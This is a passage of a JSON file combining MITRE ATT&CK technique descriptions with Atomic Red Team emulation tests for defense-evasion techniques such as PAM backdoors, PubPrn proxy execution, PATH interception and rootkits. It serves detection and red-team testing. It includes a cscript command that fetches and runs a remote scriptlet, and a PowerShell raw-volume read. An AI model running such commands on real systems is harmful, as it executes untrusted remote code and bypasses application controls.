- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1556.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Scott Knight, @sdotknight, VMware Carbon Black",
- "George Allen, VMware Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
- "type": "attack-pattern",
- "created": "2020-06-26T04:01:09.648Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.003",
- "url": "https://attack.mitre.org/techniques/T1556/003"
- },
- {
- "source_name": "Apple PAM",
- "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt",
- "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020."
- },
- {
- "source_name": "Man Pam_Unix",
- "url": "https://linux.die.net/man/8/pam_unix",
- "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020."
- },
- {
- "source_name": "Red Hat PAM",
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules",
- "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020."
- },
- {
- "source_name": "PAM Backdoor",
- "url": "https://github.com/zephrax/linux-pam-backdoor",
- "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020."
- },
- {
- "source_name": "PAM Creds",
- "url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/",
- "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020."
- }
- ],
- "modified": "2021-10-17T14:48:33.580Z",
- "name": "Modify Authentication Process: Pluggable Authentication Modules",
- "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so
, which retrieves, sets, and verifies account authentication information in /etc/passwd
and /etc/shadow
.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so
, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor PAM configuration and module paths (ex: /etc/pam.d/
) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "identifier": "T1556.003"
- },
- "atomic_tests": []
- },
- "T1578.004": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Netskope"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
- "type": "attack-pattern",
- "created": "2020-06-16T18:42:20.734Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1578.004",
- "url": "https://attack.mitre.org/techniques/T1578/004"
- },
- {
- "source_name": "Tech Republic - Restore AWS Snapshots",
- "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/",
- "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."
- },
- {
- "source_name": "Google - Restore Cloud Snapshot",
- "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots",
- "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."
- }
- ],
- "modified": "2021-03-08T10:33:02.128Z",
- "name": "Revert Cloud Instance",
- "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Instance: Instance Metadata",
- "Instance: Instance Start",
- "Instance: Instance Modification",
- "Instance: Instance Stop"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1148": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1148",
- "url": "https://attack.mitre.org/techniques/T1148"
- },
- {
- "external_id": "CAPEC-13",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/13.html"
- }
- ],
- "modified": "2020-02-21T20:57:38.015Z",
- "name": "HISTCONTROL",
- "description": "The HISTCONTROL
environment variable keeps track of what should be saved by the history
command and eventually into the ~/.bash_history
file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL
can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. HISTCONTROL
does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history
can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL
environment variable is also suspicious.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Log analysis",
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1222.002": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
- "type": "attack-pattern",
- "created": "2020-02-04T19:24:27.774Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1222.002",
- "url": "https://attack.mitre.org/techniques/T1222/002"
- },
- {
- "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100",
- "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
- "source_name": "Hybrid Analysis Icacls1 June 2018"
- },
- {
- "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
- "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
- "source_name": "Hybrid Analysis Icacls2 May 2018"
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- }
- ],
- "modified": "2021-09-13T21:08:09.985Z",
- "name": "File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification",
- "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown
(short for change owner), and chmod
(short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x
, chmod -R 755
, and chmod 777
.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Metadata",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "identifier": "T1222.002"
- },
- "atomic_tests": []
- },
- "T1216.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Atul Nair, Qualys"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
- "created": "2020-02-03T16:49:57.788Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1216.001",
- "url": "https://attack.mitre.org/techniques/T1216/001"
- },
- {
- "source_name": "pubprn",
- "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn",
- "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021."
- },
- {
- "source_name": "Enigma0x3 PubPrn Bypass",
- "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/",
- "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe
. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com
.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script:
parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct
. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs
has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://
, vice the script:
moniker which could be used to reference remote code via HTTP(S).",
- "modified": "2022-04-18T14:55:35.817Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Signed Script Proxy Execution: Pubprn",
- "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Script: Script Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1216.001"
- },
- "atomic_tests": [
- {
- "name": "PubPrn.vbs Signed Script Bypass",
- "auto_generated_guid": "9dd29a1f-1e16-4862-be83-913b10a88f6c",
- "description": "Executes the signed PubPrn.vbs script with options to download and execute an arbitrary payload.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_payload": {
- "description": "A remote payload to execute using PubPrn.vbs.",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct"
- }
- },
- "executor": {
- "command": "cscript.exe /b C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs localhost \"script:#{remote_payload}\"\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1574.007": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
- "created": "2020-03-13T14:10:43.424Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.007",
- "url": "https://attack.mitre.org/techniques/T1574/007"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/13.html",
- "source_name": "capec",
- "external_id": "CAPEC-13"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/38.html",
- "source_name": "capec",
- "external_id": "CAPEC-38"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32
(e.g., C:\\Windows\\system32
), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path
precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path
will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.",
- "modified": "2022-05-05T04:08:56.402Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Path Interception by PATH Environment Variable",
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1006": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:20.934Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1006",
- "url": "https://attack.mitre.org/techniques/T1006"
- },
- {
- "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
- "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
- "source_name": "Hakobyan 2009"
- },
- {
- "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1",
- "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
- "source_name": "Github PowerSploit Ninjacopy"
- }
- ],
- "modified": "2021-02-09T14:09:00.753Z",
- "name": "Direct Volume Access",
- "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Drive: Drive Access"
- ],
- "x_mitre_defense_bypassed": [
- "File monitoring",
- "File system access controls"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1006"
- },
- "atomic_tests": [
- {
- "name": "Read volume boot sector via DOS device path (PowerShell)",
- "auto_generated_guid": "88f6327e-51ec-4bbf-b2e8-3fea534eab8b",
- "description": "This test uses PowerShell to open a handle on the drive volume via the `\\\\.\\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume.\nOn success, a hex dump of the first 11 bytes of the volume is displayed.\n\nFor a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))):\n```\n 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000 EB 52 90 4E 54 46 53 20 20 20 20 \u00ebR?NTFS\n```",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "volume": {
- "description": "Drive letter of the volume to access",
- "type": "string",
- "default": "C:"
- }
- },
- "executor": {
- "command": "$buffer = New-Object byte[] 11\n$handle = New-Object IO.FileStream \"\\\\.\\#{volume}\", 'Open', 'Read', 'ReadWrite'\n$handle.Read($buffer, 0, $buffer.Length)\n$handle.Close()\nFormat-Hex -InputObject $buffer\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1564.008": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Dor Edry, Microsoft"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff",
- "created": "2021-06-07T13:20:23.767Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.008",
- "url": "https://attack.mitre.org/techniques/T1564/008"
- },
- {
- "source_name": "MacOS Email Rules",
- "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac",
- "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021."
- },
- {
- "source_name": "Microsoft BEC Campaign",
- "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/",
- "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021."
- },
- {
- "source_name": "Microsoft Inbox Rules",
- "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59",
- "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021."
- },
- {
- "source_name": "Microsoft New-InboxRule",
- "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps",
- "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021."
- },
- {
- "source_name": "Microsoft Set-InboxRule",
- "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps",
- "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021."
- },
- {
- "source_name": "Microsoft Cloud App Security",
- "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154",
- "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule
or Set-InboxRule
[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware
, suspicious
, phish
, and hack
) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)",
- "modified": "2022-04-12T15:22:29.599Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Email Hiding Rules",
- "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule
and Set-InboxRule
PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist
, SyncedRules.plist
, UnsyncedRules.plist
, and MessageRules.plist
files.(Citation: MacOS Email Rules)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "File: File Modification",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1014": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
- "created": "2017-05-31T21:30:26.496Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1014",
- "url": "https://attack.mitre.org/techniques/T1014"
- },
- {
- "source_name": "CrowdStrike Linux Rootkit",
- "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
- "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017."
- },
- {
- "source_name": "BlackHat Mac OSX Rootkit",
- "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf",
- "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017."
- },
- {
- "source_name": "Symantec Windows Rootkits",
- "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
- "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017."
- },
- {
- "source_name": "Wikipedia Rootkit",
- "url": "https://en.wikipedia.org/wiki/Rootkit",
- "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/552.html",
- "source_name": "capec",
- "external_id": "CAPEC-552"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)",
- "modified": "2022-05-05T05:09:39.723Z",
